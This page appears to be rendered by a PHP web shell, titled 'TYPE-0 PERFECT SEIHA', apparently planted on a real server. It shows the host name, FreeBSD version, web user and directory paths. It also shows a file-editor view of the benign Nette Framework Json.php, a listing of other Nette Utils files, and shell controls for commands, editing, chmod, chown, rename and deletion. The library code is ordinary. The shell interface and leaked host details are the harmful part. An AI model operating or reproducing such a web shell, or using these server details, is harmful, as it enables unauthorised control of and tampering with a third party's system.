TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Utils
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Utils/Json.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Utils; use Nette; /** * JSON encoder and decoder. * * @author David Grudl */ final class Json { const FORCE_ARRAY = 1; /** @var array */ private static $messages = array( JSON_ERROR_DEPTH => 'The maximum stack depth has been exceeded', JSON_ERROR_STATE_MISMATCH => 'Syntax error, malformed JSON', JSON_ERROR_CTRL_CHAR => 'Unexpected control character found', JSON_ERROR_SYNTAX => 'Syntax error, malformed JSON', ); /** * Static class - cannot be instantiated. */ final public function __construct() { throw new Nette\StaticClassException; } /** * Returns the JSON representation of a value. * @param mixed * @return string */ public static function encode($value) { if (function_exists('ini_set')) { // workaround for PHP bugs #52397, #54109, #63004 $old = ini_set('display_errors', 0); // needed to receive 'Invalid UTF-8 sequence' error } set_error_handler(function($severity, $message) { // needed to receive 'recursion detected' error restore_error_handler(); throw new JsonException($message); }); $json = json_encode($value); restore_error_handler(); if (isset($old)) { ini_set('display_errors', $old); } return $json; } /** * Decodes a JSON string. * @param string * @param int * @return mixed */ public static function decode($json, $options = 0) { $json = (string) $json; $value = json_decode($json, (bool) ($options & self::FORCE_ARRAY)); if ($value === NULL && $json !== '' && strcasecmp($json, 'null')) { // '' do not clean json_last_error $error = PHP_VERSION_ID >= 50300 ? json_last_error() : 0; throw new JsonException(isset(static::$messages[$error]) ? static::$messages[$error] : 'Unknown error', $error); } return $value; } } /** * The exception that indicates error of JSON encoding/decoding. */ class JsonException extends \Exception { }
Crotin
Name
Size
Permissions
Modified
User/Group
Finder.php
9056
0644
2015-08-08 18:27:50
Unknown/Unknown
SafeStream.php
6563
0644
2015-08-08 18:27:51
Unknown/Unknown
MimeTypeDetector.php
1807
0644
2015-08-08 18:27:51
Unknown/Unknown
LimitedScope.php
1679
0644
2015-08-08 18:27:51
Unknown/Unknown
Neon.php
9679
0644
2015-08-08 18:27:51
Unknown/Unknown
Arrays.php
4375
0644
2015-08-08 18:27:51
Unknown/Unknown
Json.php
2173
0644
2015-08-08 18:27:51
Unknown/Unknown
Strings.php
14104
0644
2015-08-08 18:27:51
Unknown/Unknown
Paginator.php
4341
0644
2015-08-08 18:27:50
Unknown/Unknown
PhpGenerator
-
0755
2015-08-08 18:27:58
Unknown/Unknown
Html.php
11859
0644
2015-08-08 18:27:51
Unknown/Unknown
Tokenizer.php
6001
0644
2015-08-08 18:27:51
Unknown/Unknown
Validators.php
6976
0644
2015-08-08 18:27:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin